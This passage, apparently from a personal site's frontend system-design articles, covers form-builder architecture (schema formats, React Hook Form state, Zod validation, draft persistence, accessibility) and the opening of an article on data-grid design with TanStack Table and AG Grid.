        src: "submitForm",
        onDone: "success",
        onError: { target: "error", actions: "setError" },
      },
    },
    success: { type: "final" },
    error: { on: { RETRY: "submitting" } },
  },
})
```

**Best for:**

- Multi-step wizards with complex branching
- Forms with strict workflow requirements (can't skip steps)
- Audit trails (state machine history is explicit)

**Device/network profile:**

- Works well on: All devices (state logic is lightweight)
- Struggles on: None specific (XState is efficient)

**Implementation complexity:**

| Aspect        | Effort                             |
| ------------- | ---------------------------------- |
| Initial setup | Medium (XState learning curve)     |
| Simple forms  | Overkill                           |
| Complex flows | Low (states make flows explicit)   |
| Debugging     | Low (XState Viz, state inspection) |

**Real-world example:**

Insurance quote flows, loan applications, and checkout processes use state machines. The explicit states prevent impossible transitions (e.g., submitting without completing required steps).

**Trade-offs:**

- ✅ Complex flows are explicit and visualizable
- ✅ Guards prevent invalid transitions
- ✅ Built-in async handling for submissions
- ❌ Overhead for simple single-page forms
- ❌ Two systems to maintain (state machine + form library)

### Decision Matrix

| Factor             | JSON Schema                  | Zod/TypeBox   | XState       |
| ------------------ | ---------------------------- | ------------- | ------------ |
| Type safety        | Medium (with inference libs) | High (native) | Medium       |
| Portability        | High (cross-platform)        | Low (JS only) | Low          |
| Complex validation | Verbose                      | Natural       | Via guards   |
| Multi-step flows   | Manual                       | Manual        | Built-in     |
| Learning curve     | Low                          | Low           | Medium       |
| Best for           | API-driven forms             | TS apps       | Wizard flows |

## State Management

### Controlled vs Uncontrolled

The fundamental form state decision affects every re-render:

**Controlled (Formik, Redux Form):**

```typescript title="controlled.tsx"
// Every keystroke updates React state → re-render
const [value, setValue] = useState("");
<input value={value} onChange={(e) => setValue(e.target.value)} />;
```

- ✅ React controls the source of truth
- ✅ Easy to derive computed values
- ❌ Re-renders on every keystroke (performance cost)

**Uncontrolled (React Hook Form):**

```typescript title="uncontrolled.tsx" collapse={1-2}
// DOM is source of truth, React reads on demand
import { useForm } from "react-hook-form";

const { register, handleSubmit } = useForm();
<input {...register("email")} />;
// Only re-renders when explicitly subscribed
```

- ✅ Minimal re-renders (DOM handles input)
- ✅ Better performance for large forms
- ❌ Less control over intermediate states
- ❌ Need `Controller` for custom components

**Performance comparison (100 fields, keystroke in one field):**

| Approach               | Re-renders     | Time  |
| ---------------------- | -------------- | ----- |
| Controlled (naive)     | 100 components | ~50ms |
| Controlled (optimized) | 1 component    | ~5ms  |
| Uncontrolled           | 0 components   | ~1ms  |

### Subscription-Based Updates

React Final Form and React Hook Form use subscriptions to limit re-renders:

```typescript title="subscriptions.tsx" collapse={1-3}
// Only subscribe to what you need
import { useFormState, useWatch } from "react-hook-form"

// Component only re-renders when these specific values change
const { isDirty, isValid } = useFormState({
  control,
  subscription: { isDirty: true, isValid: true },
})

// Watch specific field, not entire form
const email = useWatch({ control, name: "email" })
```

**Design rationale:** Subscriptions let components opt-in to state changes, similar to GraphQL selecting only needed fields. This prevents the cascading re-renders that plague naive form implementations.

### Field-Level vs Form-Level State

| Approach    | State Location       | Re-render Scope | Use Case        |
| ----------- | -------------------- | --------------- | --------------- |
| Form-level  | Single store         | Entire form     | Simple forms    |
| Field-level | Per-field            | Single field    | Large forms     |
| Hybrid      | Form + subscriptions | Subscribed only | Production apps |

**Recommendation:** Start with form-level state (simpler). Move to subscriptions when profiling shows re-render bottlenecks (typically > 50 fields or complex computed values).

## Validation Architecture

### Validation Timing

| Timing             | UX                         | Performance                 | Use Case         |
| ------------------ | -------------------------- | --------------------------- | ---------------- |
| onChange           | Immediate feedback         | High cost (every keystroke) | Critical fields  |
| onBlur             | Feedback after interaction | Low cost                    | Default choice   |
| onSubmit           | Batch validation           | Lowest cost                 | Simple forms     |
| Debounced onChange | Balanced                   | Medium cost                 | Async validation |

**Debounced async validation pattern:**

```typescript title="debounced-validation.ts" collapse={1-5}
// Debounce async validation to avoid API spam
import { z } from "zod"
import debounce from "lodash.debounce"

const checkUsername = debounce(async (username: string) => {
  const response = await fetch(`/api/check-username?q=${username}`)
  return response.json()
}, 300)

const usernameSchema = z
  .string()
  .min(3, "Username too short")
  .refine(
    async (username) => {
      const { available } = await checkUsername(username)
      return available
    },
    { message: "Username taken" },
  )
```

### Cross-Field Validation

Fields that depend on each other require schema-level validation:

```typescript title="cross-field.ts" collapse={1-2}
// Password confirmation with superRefine for control
import { z } from "zod"

const passwordSchema = z
  .object({
    password: z.string().min(8),
    confirmPassword: z.string(),
  })
  .superRefine((data, ctx) => {
    if (data.password !== data.confirmPassword) {
      ctx.addIssue({
        code: z.ZodIssueCode.custom,
        message: "Passwords don't match",
        path: ["confirmPassword"], // Error shows on confirm field
      })
    }
  })

// Conditional required field
const eventSchema = z
  .object({
    eventType: z.enum(["online", "in-person"]),
    venue: z.string().optional(),
    meetingUrl: z.string().url().optional(),
  })
  .superRefine((data, ctx) => {
    if (data.eventType === "in-person" && !data.venue) {
      ctx.addIssue({
        code: z.ZodIssueCode.custom,
        message: "Venue required for in-person events",
        path: ["venue"],
      })
    }
    if (data.eventType === "online" && !data.meetingUrl) {
      ctx.addIssue({
        code: z.ZodIssueCode.custom,
        message: "Meeting URL required for online events",
        path: ["meetingUrl"],
      })
    }
  })
```

**Why `superRefine` over `refine`:** The `refine` method only creates a single error with custom error code. `superRefine` gives full control: multiple errors, specific error codes, precise path targeting.

### Validation Execution Order

Zod and similar libraries execute validation in order:

1. Type coercion/parsing
2. Built-in validators (min, max, email, etc.)
3. Refinements (in declaration order)

**Critical limitation:** Refinements on an object only run if all fields pass their individual validations first. A missing required field prevents cross-field refinements from executing.

```typescript title="execution-order.ts"
// Refinement won't run if email is invalid
z.object({
  email: z.string().email(),
  confirmEmail: z.string(),
}).refine((data) => data.email === data.confirmEmail, { message: "Emails must match" })
// If email fails .email() check, refine never executes
```

## Dynamic Rendering

### Component Registry Pattern

Map field types to UI components for schema-driven rendering:

```typescript title="registry.ts" collapse={1-8}
// Component registry for dynamic field rendering
import type { ComponentType } from "react";

interface FieldProps {
  name: string;
  label: string;
  error?: string;
  // ... other common props
}

type FieldRegistry = Record<string, ComponentType<FieldProps>>;

const fieldRegistry: FieldRegistry = {
  text: TextInput,
  email: EmailInput,
  select: SelectField,
  checkbox: CheckboxField,
  date: DatePicker,
  file: FileUpload,
  // Custom fields
  address: AddressAutocomplete,
  phone: PhoneInput
};

// Renderer uses registry to instantiate components
function renderField(field: SchemaField) {
  const Component = fieldRegistry[field.type];
  if (!Component) {
    console.warn(`Unknown field type: ${field.type}`);
    return null;
  }
  return <Component key={field.name} {...field} />;
}
```

**Why a registry:** Decouples schema from implementation. The schema says "render a date field"—the registry decides whether that's a native `<input type="date">`, a third-party date picker, or a custom component.

### Conditional Field Rendering

Fields that show/hide based on other values:

```typescript title="conditional-fields.tsx" collapse={1-10}
// Conditional rendering based on field values
import { useWatch } from "react-hook-form";

interface ConditionalFieldProps {
  watchField: string;
  condition: (value: unknown) => boolean;
  children: React.ReactNode;
}

function ConditionalField({
  watchField,
  condition,
  children
}: ConditionalFieldProps) {
  const value = useWatch({ name: watchField });

  if (!condition(value)) {
    return null;
  }

  return <>{children}</>;
}

// Usage in form
<SelectField name="employmentType" options={["employed", "self-employed", "unemployed"]} />

<ConditionalField
  watchField="employmentType"
  condition={(v) => v === "employed"}
>
  <TextInput name="employerName" label="Employer Name" />
  <TextInput name="jobTitle" label="Job Title" />
</ConditionalField>

<ConditionalField
  watchField="employmentType"
  condition={(v) => v === "self-employed"}
>
  <TextInput name="businessName" label="Business Name" />
</ConditionalField>
```

### Cascading Dependencies

Dropdowns that depend on previous selections:

```typescript title="cascading.tsx" collapse={1-15}
// Cascading dropdowns with dependent options
import { useWatch, useFormContext } from "react-hook-form";
import { useQuery } from "@tanstack/react-query";

function CitySelect() {
  const { setValue } = useFormContext();
  const country = useWatch({ name: "country" });
  const state = useWatch({ name: "state" });

  // Reset downstream fields when parent changes
  useEffect(() => {
    setValue("city", "");
  }, [state, setValue]);

  const { data: cities, isLoading } = useQuery({
    queryKey: ["cities", country, state],
    queryFn: () => fetchCities(country, state),
    enabled: Boolean(country && state)
  });

  if (!state) return null;

  return (
    <SelectField
      name="city"
      options={cities ?? []}
      disabled={isLoading}
      placeholder={isLoading ? "Loading cities..." : "Select city"}
    />
  );
}
```

**Design consideration:** Reset dependent fields when parent changes. Stale values (city that doesn't exist in newly selected state) cause validation errors and data integrity issues.

## Nested and Array Fields

### Array Field Operations

Repeatable sections (e.g., multiple phone numbers, addresses):

```typescript title="array-fields.tsx" collapse={1-6}
// useFieldArray for repeatable sections
import { useFieldArray, useFormContext } from "react-hook-form";

interface PhoneEntry {
  type: "home" | "work" | "mobile";
  number: string;
}

function PhoneNumbers() {
  const { control } = useFormContext();
  const { fields, append, remove, move } = useFieldArray({
    control,
    name: "phones"
  });

  return (
    <div>
      {fields.map((field, index) => (
        <div key={field.id}> {/* Use field.id, not index */}
          <SelectField
            name={`phones.${index}.type`}
            options={["home", "work", "mobile"]}
          />
          <TextInput name={`phones.${index}.number`} />
          <button type="button" onClick={() => remove(index)}>
            Remove
          </button>
        </div>
      ))}
      <button
        type="button"
        onClick={() => append({ type: "mobile", number: "" })}
      >
        Add Phone
      </button>
    </div>
  );
}
```

**Why `field.id` not `index`:** React Hook Form generates stable IDs. Using array index as key causes incorrect field associations when items are reordered or removed.

### Nested Validation

Deep validation for complex nested structures:

```typescript title="nested-validation.ts" collapse={1-2}
// Nested array validation with Zod
import { z } from "zod"

const orderSchema = z
  .object({
    customer: z.object({
      name: z.string().min(1),
      email: z.string().email(),
    }),
    items: z
      .array(
        z.object({
          productId: z.string(),
          quantity: z.number().min(1),
          options: z
            .array(
              z.object({
                name: z.string(),
                value: z.string(),
              }),
            )
            .optional(),
        }),
      )
      .min(1, "Order must have at least one item"),
    // Cross-field: total validation
  })
  .refine((order) => order.items.reduce((sum, item) => sum + item.quantity, 0) <= 100, {
    message: "Maximum 100 items per order",
    path: ["items"],
  })
```

### Performance with Large Arrays

Arrays with 100+ items require optimization:

| Technique        | Description                                | Impact |
| ---------------- | ------------------------------------------ | ------ |
| Virtualization   | Render only visible rows                   | High   |
| Memoization      | `React.memo` on row component              | Medium |
| Batch operations | `replace()` instead of multiple `append()` | Medium |
| Isolated state   | Per-row components with own state          | High   |

```typescript title="optimized-array.tsx" collapse={1-10}
// Memoized array item for performance
import { memo } from "react";
import { useFormContext } from "react-hook-form";

interface ItemRowProps {
  index: number;
  onRemove: () => void;
}

const ItemRow = memo(function ItemRow({ index, onRemove }: ItemRowProps) {
  const { register } = useFormContext();

  return (
    <div>
      <input {...register(`items.${index}.name`)} />
      <input {...register(`items.${index}.quantity`)} type="number" />
      <button type="button" onClick={onRemove}>Remove</button>
    </div>
  );
});

// Parent: use field.id as key, not index
{fields.map((field, index) => (
  <ItemRow
    key={field.id}
    index={index}
    onRemove={() => remove(index)}
  />
))}
```

## Persistence and Draft Recovery

### Autosave Strategy

Prevent data loss without overwhelming storage:

```typescript title="autosave.ts" collapse={1-8}
// Debounced autosave to IndexedDB
import { useEffect, useCallback } from "react"
import { useWatch } from "react-hook-form"
import debounce from "lodash.debounce"
import { openDB } from "idb"

const DRAFT_DB = "form-drafts"
const DRAFT_STORE = "drafts"

async function saveDraft(formId: string, data: unknown) {
  const db = await openDB(DRAFT_DB, 1, {
    upgrade(db) {
      db.createObjectStore(DRAFT_STORE)
    },
  })
  await db.put(
    DRAFT_STORE,
    {
      data,
      savedAt: Date.now(),
    },
    formId,
  )
}

function useAutosave(formId: string, control: Control) {
  const formData = useWatch({ control })

  // Debounce saves to every 2 seconds of inactivity
  const debouncedSave = useCallback(
    debounce((data: unknown) => {
      saveDraft(formId, data)
    }, 2000),
    [formId],
  )

  useEffect(() => {
    debouncedSave(formData)
    return () => debouncedSave.cancel()
  }, [formData, debouncedSave])
}
```

**Why IndexedDB over localStorage:**

| Feature       | localStorage         | IndexedDB                  |
| ------------- | -------------------- | -------------------------- |
| Storage limit | 5MB                  | 50% of disk                |
| API           | Synchronous (blocks) | Async                      |
| Data types    | Strings only         | Any (including blobs)      |
| Structure     | Key-value            | Object stores with indexes |

For forms with file uploads or large datasets, IndexedDB is the only viable option.

### Draft Recovery

Restore drafts on page load with user confirmation:

```typescript title="draft-recovery.ts" collapse={1-10}
// Draft recovery with staleness check
import { useEffect, useState } from "react"
import { openDB } from "idb"

interface DraftData {
  data: unknown
  savedAt: number
}

const STALE_THRESHOLD = 24 * 60 * 60 * 1000 // 24 hours

async function loadDraft(formId: string): Promise<DraftData | null> {
  const db = await openDB(DRAFT_DB, 1)
  const draft = await db.get(DRAFT_STORE, formId)

  if (!draft) return null

  // Check if draft is stale
  const age = Date.now() - draft.savedAt
  if (age > STALE_THRESHOLD) {
    await db.delete(DRAFT_STORE, formId)
    return null
  }

  return draft
}

function useDraftRecovery(formId: string, reset: UseFormReset) {
  const [hasDraft, setHasDraft] = useState(false)
  const [draftAge, setDraftAge] = useState<string>("")

  useEffect(() => {
    loadDraft(formId).then((draft) => {
      if (draft) {
        setHasDraft(true)
        setDraftAge(formatRelativeTime(draft.savedAt))
      }
    })
  }, [formId])

  const restoreDraft = async () => {
    const draft = await loadDraft(formId)
    if (draft) {
      reset(draft.data)
      setHasDraft(false)
    }
  }

  const discardDraft = async () => {
    const db = await openDB(DRAFT_DB, 1)
    await db.delete(DRAFT_STORE, formId)
    setHasDraft(false)
  }

  return { hasDraft, draftAge, restoreDraft, discardDraft }
}
```

### Clear Draft on Successful Submit

```typescript title="clear-on-submit.ts"
async function onSubmit(data: FormData) {
  await submitToServer(data)

  // Clear draft only after successful submission
  const db = await openDB(DRAFT_DB, 1)
  await db.delete(DRAFT_STORE, formId)
}
```

## Performance Optimization

### Large Form Strategies

For forms with 100+ fields:

**1. Virtualization:**

```typescript title="virtualized-form.tsx" collapse={1-5}
// Virtualized form fields with react-window
import { FixedSizeList } from "react-window";

interface VirtualFieldListProps {
  fields: SchemaField[];
}

function VirtualFieldList({ fields }: VirtualFieldListProps) {
  const Row = ({ index, style }: { index: number; style: React.CSSProperties }) => (
    <div style={style}>
      {renderField(fields[index])}
    </div>
  );

  return (
    <FixedSizeList
      height={600}
      itemCount={fields.length}
      itemSize={80}
      width="100%"
    >
      {Row}
    </FixedSizeList>
  );
}
```

**2. Section-Based Loading:**

```typescript title="lazy-sections.tsx" collapse={1-8}
// Lazy load form sections
import { lazy, Suspense } from "react";

const PersonalInfoSection = lazy(() => import("./sections/PersonalInfo"));
const EmploymentSection = lazy(() => import("./sections/Employment"));
const FinancialSection = lazy(() => import("./sections/Financial"));

function MultiSectionForm() {
  const [activeSection, setActiveSection] = useState(0);

  const sections = [
    { Component: PersonalInfoSection, title: "Personal" },
    { Component: EmploymentSection, title: "Employment" },
    { Component: FinancialSection, title: "Financial" }
  ];

  const { Component } = sections[activeSection];

  return (
    <Suspense fallback={<SectionSkeleton />}>
      <Component />
    </Suspense>
  );
}
```

**3. Validation Optimization:**

```typescript title="optimized-validation.ts"
// Validate only changed fields, not entire form
const { trigger } = useFormContext();

// On blur, validate only this field
<input
  {...register("email")}
  onBlur={() => trigger("email")}
/>;

// On submit, validate all
const onSubmit = handleSubmit(async (data) => {
  const isValid = await trigger(); // All fields
  if (isValid) {
    await submit(data);
  }
});
```

### Profiling Form Performance

```typescript title="performance-profiling.ts" collapse={1-4}
// Performance monitoring for forms
const observer = new PerformanceObserver((list) => {
  for (const entry of list.getEntries()) {
    if (entry.entryType === "longtask" && entry.duration > 50) {
      console.warn("Long task during form interaction:", {
        duration: entry.duration,
        attribution: entry.attribution,
      })
    }
  }
})

observer.observe({ entryTypes: ["longtask"] })
```

**Performance targets:**

| Metric                | Target           | Degraded |
| --------------------- | ---------------- | -------- |
| Keystroke response    | < 16ms           | > 50ms   |
| Field blur validation | < 50ms           | > 200ms  |
| Form submission       | < 100ms (client) | > 500ms  |

## Accessibility

### Error Announcements

Use ARIA live regions to announce validation errors to screen readers:

```typescript title="accessible-errors.tsx" collapse={1-5}
// Accessible error announcements
interface ErrorMessageProps {
  fieldId: string;
  error?: string;
}

function ErrorMessage({ fieldId, error }: ErrorMessageProps) {
  // Pre-register live region in DOM (empty)
  // VoiceOver on iOS requires aria-atomic
  return (
    <div
      id={`${fieldId}-error`}
      role="alert"
      aria-live="polite"
      aria-atomic="true"
    >
      {error && <span className="error-text">{error}</span>}
    </div>
  );
}

// Field links to error via aria-describedby
function TextField({ name, label, error }: TextFieldProps) {
  return (
    <div>
      <label htmlFor={name}>{label}</label>
      <input
        id={name}
        aria-describedby={error ? `${name}-error` : undefined}
        aria-invalid={Boolean(error)}
      />
      <ErrorMessage fieldId={name} error={error} />
    </div>
  );
}
```

**Why `aria-live="polite"` over `"assertive"`:** Assertive interrupts screen readers immediately—use only for critical errors. Polite waits for a pause in reading, which is less disruptive for typical validation feedback.

**Common mistake:** Adding `role="alert"` AND `aria-live="assertive"` causes double announcements in some screen readers. `role="alert"` implies `aria-live="assertive"`.

### Focus Management

Move focus to first error on failed submission:

```typescript title="focus-management.ts" collapse={1-3}
// Focus first error field on submit
import { useForm } from "react-hook-form"

const {
  handleSubmit,
  setFocus,
  formState: { errors },
} = useForm()

const onSubmit = handleSubmit(
  (data) => submitToServer(data),
  (errors) => {
    // Focus first field with error
    const firstErrorField = Object.keys(errors)[0]
    if (firstErrorField) {
      setFocus(firstErrorField)
    }
  },
)
```

### Dynamic Field Visibility

When fields appear/disappear, manage focus appropriately:

```typescript title="conditional-focus.tsx" collapse={1-8}
// Focus management for conditional fields
import { useEffect, useRef } from "react";

function ConditionalField({ visible, children }: ConditionalFieldProps) {
  const containerRef = useRef<HTMLDivElement>(null);
  const wasVisible = useRef(visible);

  useEffect(() => {
    // Field just appeared
    if (visible && !wasVisible.current) {
      const firstInput = containerRef.current?.querySelector("input, select, textarea");
      if (firstInput instanceof HTMLElement) {
        // Delay focus to ensure DOM is ready
        requestAnimationFrame(() => firstInput.focus());
      }
    }
    wasVisible.current = visible;
  }, [visible]);

  if (!visible) return null;

  return <div ref={containerRef}>{children}</div>;
}
```

### Keyboard Navigation

Support expected keyboard patterns:

| Key        | Action                           |
| ---------- | -------------------------------- |
| Tab        | Move to next field               |
| Shift+Tab  | Move to previous field           |
| Enter      | Submit form (if not in textarea) |
| Escape     | Close dropdowns/modals           |
| Arrow keys | Navigate options in select/radio |

```typescript title="keyboard-submit.tsx"
// Prevent accidental submit in multi-field forms
<form
  onKeyDown={(e) => {
    if (
      e.key === "Enter" &&
      e.target instanceof HTMLInputElement &&
      e.target.type !== "submit"
    ) {
      e.preventDefault();
    }
  }}
>
```

## Real-World Implementations

### Typeform: Conversational Forms

**Architecture:**

- One question at a time (reduces cognitive load)
- Logic jumps based on previous answers
- Microservices: Create, Collect, Connect, Conclude colonies

**Key insight:** Typeform separates form building from response collection. The Create API enables programmatic form generation—schemas are stored centrally and rendered by lightweight clients.

**Trade-off accepted:** Limited field visibility (only current question) prevents users from reviewing all questions upfront.

### Google Forms: Simplicity at Scale

**Architecture:**

- 12 question types covering 95% of use cases
- Real-time response aggregation with charts
- Tight Google Sheets integration for analysis

**Key insight:** Intentional simplicity. No conditional logic initially (added later). Focus on collaboration and response visualization rather than form complexity.

**Trade-off accepted:** Limited customization—no CSS control, minimal branding.

### Form.io: Enterprise Self-Hosted

**Architecture:**

- Drag-and-drop builder generates JSON Schema
- Schema and API generated simultaneously
- Multiple renderers (React, Angular, Vue, vanilla)

**Key insight:** The schema IS the form. Store JSON in your database, render anywhere. Backend validation uses the same schema.

**Trade-off accepted:** Complexity of self-hosting. Enterprise pricing for advanced features.

### React Hook Form + Zod: Modern Stack

**Why this combination dominates:**

1. **Uncontrolled by default** — Minimal re-renders
2. **Type inference** — Schema defines types
3. **Resolver pattern** — Pluggable validation
4. **Small bundle** — ~9kb combined

```typescript title="rhf-zod-integration.ts" collapse={1-4}
// The modern form stack
import { useForm } from "react-hook-form";
import { zodResolver } from "@hookform/resolvers/zod";
import { z } from "zod";

const schema = z.object({
  email: z.string().email(),
  password: z.string().min(8)
});

type FormData = z.infer<typeof schema>;

function LoginForm() {
  const {
    register,
    handleSubmit,
    formState: { errors }
  } = useForm<FormData>({
    resolver: zodResolver(schema)
  });

  return (
    <form onSubmit={handleSubmit((data) => login(data))}>
      <input {...register("email")} />
      {errors.email && <span>{errors.email.message}</span>}
      {/* ... */}
    </form>
  );
}
```

## Conclusion

Form builder architecture centers on three decisions:

1. **Schema format** — JSON Schema for portability, Zod/TypeBox for TypeScript-first, XState for complex flows
2. **State approach** — Uncontrolled with subscriptions for performance (React Hook Form), controlled for simpler mental model (Formik)
3. **Validation timing** — onBlur as default, debounced onChange for async checks, onSubmit for simple forms

For production form builders:

- **< 50 fields:** Any approach works. Optimize for developer experience.
- **50-200 fields:** Subscription-based state, section lazy loading, consider virtualization.
- **> 200 fields:** Mandatory virtualization, isolated field components, aggressive memoization.

The schema-driven approach (JSON Schema or Zod) enables the holy grail: define once, validate everywhere, render anywhere.

## Appendix

### Prerequisites

- React or equivalent component model
- TypeScript (for type-safe schema approaches)
- Familiarity with controlled/uncontrolled component patterns

### Summary

- Form builders separate schema (what) from rendering (how) through component registries
- Uncontrolled inputs with subscriptions minimize re-renders for large forms
- Zod's `superRefine` enables complex cross-field validation with precise error paths
- IndexedDB provides robust draft storage; localStorage has 5MB limit
- Virtualization is mandatory for forms exceeding 100-200 fields
- ARIA live regions (`aria-live="polite"`) announce errors without disrupting screen reader flow
- Focus management on error and conditional field appearance improves accessibility

### References

- [JSON Schema Specification](https://json-schema.org/specification) — Data structure and validation constraints
- [React JSON Schema Form](https://github.com/rjsf-team/react-jsonschema-form) — JSON Schema to React forms
- [JSON Forms](https://jsonforms.io/) — Framework-agnostic JSON Schema rendering
- [React Hook Form](https://react-hook-form.com/) — Performant form library with uncontrolled inputs
- [React Hook Form Advanced Usage](https://react-hook-form.com/advanced-usage) — Performance optimization patterns
- [Zod Documentation](https://zod.dev/api) — TypeScript-first schema validation
- [TypeBox](https://github.com/sinclairzx81/typebox) — JSON Schema with TypeScript inference
- [XState](https://xstate.js.org/) — State machines for complex form flows
- [Formik](https://formik.org/) — Controlled form library for React
- [React Final Form Subscriptions](https://final-form.org/docs/react-final-form/examples/subscriptions) — Subscription-based state management
- [ARIA Live Regions (MDN)](https://developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/Guides/Live_regions) — Dynamic content announcements
- [Exposing Field Errors (Adrian Roselli)](https://adrianroselli.com/2023/04/exposing-field-errors.html) — Accessible error patterns
- [A Guide to Accessible Form Validation (Smashing)](https://www.smashingmagazine.com/2023/02/guide-accessible-form-validation/) — WCAG-compliant validation
- [IndexedDB API (MDN)](https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API) — Client-side storage for drafts
- [localForage](https://localforage.github.io/localForage/) — Simplified IndexedDB interface
- [react-window](https://github.com/bvaughn/react-window) — List virtualization for large forms
- [Typeform Developer Platform](https://www.typeform.com/developers/) — Conversational form architecture
- [Form.io Open Source](https://form.io/open-source/) — Enterprise form builder architecture

---

## Design a Data Grid

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/frontend-system-design/design-data-grid
**Category:** System Design / Frontend System Design
**Description:** High-performance data grids render thousands to millions of rows while maintaining 60fps scrolling and sub-second interactions. This article explores the architectural patterns, virtualization strategies, and implementation trade-offs that separate production-grade grids from naive table implementations.The core challenge: browsers struggle with more than a few thousand DOM nodes. A grid with 100,000 rows and 20 columns would create 2 million cells—rendering all of them guarantees a frozen UI. Every major grid library solves this through virtualization, but their approaches differ significantly in complexity, flexibility, and performance characteristics.

# Design a Data Grid

High-performance data grids render thousands to millions of rows while maintaining 60fps scrolling and sub-second interactions. This article explores the architectural patterns, virtualization strategies, and implementation trade-offs that separate production-grade grids from naive table implementations.

The core challenge: browsers struggle with more than a few thousand DOM nodes. A grid with 100,000 rows and 20 columns would create 2 million cells—rendering all of them guarantees a frozen UI. Every major grid library solves this through virtualization, but their approaches differ significantly in complexity, flexibility, and performance characteristics.

<figure>

![Data grid architecture: data flows through transformation and virtualization layers before reaching the render layer, which splits into fixed headers and pinned columns.](./data-grid-architecture-data-flows-through-transformation-and-virtualization-laye.svg)

<figcaption>Data grid architecture: data flows through transformation and virtualization layers before reaching the render layer, which splits into fixed headers and pinned columns.</figcaption>
</figure>

## Abstract

Data grids are constrained optimization problems balancing DOM size, memory usage, rendering latency, and feature richness:

- **Virtualization is non-negotiable** for grids beyond ~100 rows. Fixed-height virtualization uses O(1) position calculation; variable-height requires height caching and estimation.
- **Four architectural approaches** exist: headless libraries (TanStack Table—you own rendering), full-featured frameworks (AG Grid—batteries included), canvas-based (Google Sheets—bypasses DOM entirely), and hybrid (MUI DataGrid—React integration with virtualization).
- **Row models determine scalability**: client-side works for <100K rows in memory; server-side/infinite models handle millions by fetching data on demand.
- **Column pinning splits the grid** into three synchronized scroll regions, creating coordination complexity for selection and keyboard navigation.
- **Accessibility requires explicit implementation**: ARIA grid roles, two-dimensional keyboard navigation, and screen reader announcements don't come free with virtualization.

The right choice depends on dataset size, feature requirements, and whether you need control over rendering (headless) or prefer comprehensive defaults (full-featured).

## The Challenge

### Browser Constraints

Data grids stress browsers in ways most UIs don't:

| Constraint    | Limit               | Impact on Grids                              |
| ------------- | ------------------- | -------------------------------------------- |
| DOM nodes     | ~10,000 before jank | 100 rows × 20 columns = 2,000 cells minimum  |
| Main thread   | 16ms per frame      | Sort of 100K rows blocks UI for seconds      |
| Layout recalc | O(n) affected nodes | Column resize triggers full row recalc       |
| Memory        | 50-300MB practical  | Each row object + DOM node + event listeners |
| Scroll events | 60+ per second      | Handler must complete in <10ms               |

The 16ms frame budget disappears quickly. A scroll event handler that calculates visible rows, updates DOM, and triggers layout easily exceeds this on mid-range devices.

### Scale Factors

| Factor           | Small Scale | Large Scale  | Architectural Impact            |
| ---------------- | ----------- | ------------ | ------------------------------- |
| Row count        | <1,000      | >100,000     | Client-side vs server-side data |
| Column count     | <10         | >50          | Column virtualization required  |
| Cell complexity  | Text only   | Rich editors | Render cost per cell            |
| Update frequency | Static      | Real-time    | Batch updates, dirty checking   |
| Selection scope  | Single row  | Multi-range  | Selection state management      |

### User Experience Requirements

- **Perceived latency**: Scrolling must feel instant. Users notice >100ms delays.
- **Sort/filter responsiveness**: <500ms for in-memory operations, progressive feedback for server calls.
- **Edit feedback**: Cell changes must reflect immediately, even if server sync is async.
- **Keyboard navigation**: Power users expect Excel-like navigation without reaching for the mouse.

## Design Paths

### Path 1: Headless Library (TanStack Table)

**Architecture:**

TanStack Table (formerly React Table v8) provides table logic without rendering opinions. You get state management, sorting, filtering, grouping, and pagination—but zero UI.

![Diagram](./diagram-1.svg)

**How it works:**

The library exposes hooks (`useReactTable`) that return table instance objects. You destructure methods like `getHeaderGroups()`, `getRowModel()`, and `getVisibleCells()` to build your own markup. Sorting, filtering, and pagination are opt-in row models you import and configure.

```ts title="TanStack Table setup" collapse={1-5, 25-35}
import {
  useReactTable,
  getCoreRowModel,
  getSortedRowModel,
  flexRender,
} from "@tanstack/react-table"

const table = useReactTable({
  data,
  columns,
  getCoreRowModel: getCoreRowModel(),
  getSortedRowModel: getSortedRowModel(),
  state: { sorting },
  onSortingChange: setSorting,
})

// You render everything yourself
return (
  <table>
    <tbody>
      {table.getRowModel().rows.map((row) => (
        <tr key={row.id}>
          {row.getVisibleCells().map((cell) => (
            <td key={cell.id}>{flexRender(cell.column.columnDef.cell, cell.getContext())}</td>
          ))}
        </tr>
      ))}
    </tbody>
  </table>
)
```

**Best for:**

- Teams wanting full control over markup and styling
- Design systems requiring specific HTML structure
- Applications where bundle size is critical (core is ~15KB)
- Projects already using a virtualization library (react-window, react-virtual)

**Device/network profile:**

- Works well on: All devices (rendering is your responsibility)
- Struggles on: None inherently—performance depends on your implementation

**Implementation complexity:**

| Aspect             | Effort                            |
| ------------------ | --------------------------------- |
| Initial setup      | Medium—must build UI from scratch |
| Feature additions  | Low—APIs are composable           |
| Performance tuning | High—virtualization is DIY        |
| Testing            | Medium—test your rendering logic  |

**Real-world example:**

TanStack Table powers countless production applications where teams need precise control. The library author (Tanner Linsley) specifically designed v8 as a rewrite to be fully headless after v7's plugin system proved too opinionated. Bundle size dropped from ~40KB to ~15KB.

**Trade-offs vs other paths:**

- ✅ Complete rendering control
- ✅ Smallest bundle for core logic
- ✅ Framework-agnostic core
- ❌ No built-in virtualization
- ❌ More code to write
- ❌ Accessibility is your responsibility

---

### Path 2: Full-Featured Framework (AG Grid)

**Architecture:**

AG Grid provides everything: virtualization, sorting, filtering, grouping, pivoting, Excel export, and enterprise features. The core is vanilla JavaScript with framework-specific wrappers.

![Diagram](./diagram-2.svg)

**How it works:**

AG Grid implements four distinct row models for different scale requirements:

1. **Client-Side Row Model** (default): Loads all data into memory. Supports full sorting, filtering, grouping, and aggregation in the browser. Efficient up to ~100K rows due to DOM virtualization.

2. **Infinite Row Model**: Lazy-loads data blocks as users scroll. Best for large flat datasets where full client-side loading is impractical.

3. **Server-Side Row Model** (Enterprise): Extends infinite scrolling with server-side grouping and aggregation. Handles millions of rows by fetching grouped data on demand.

4. **Viewport Row Model** (Enterprise): Server controls exactly what's visible. Useful for rapidly changing data where the server needs to know the user's viewport.

```ts title="AG Grid with server-side model" collapse={1-3, 20-30}
import { AgGridReact } from "ag-grid-react"
import "ag-grid-enterprise"
import "ag-grid-community/styles/ag-grid.css"

const gridOptions = {
  rowModelType: "serverSide",
  serverSideDatasource: {
    getRows: (params) => {
      // Server handles sorting, filtering, grouping
      fetch("/api/rows", {
        method: "POST",
        body: JSON.stringify({
          startRow: params.request.startRow,
          endRow: params.request.endRow,
          sortModel: params.request.sortModel,
          filterModel: params.request.filterModel,
          groupKeys: params.request.groupKeys,
        }),
      })
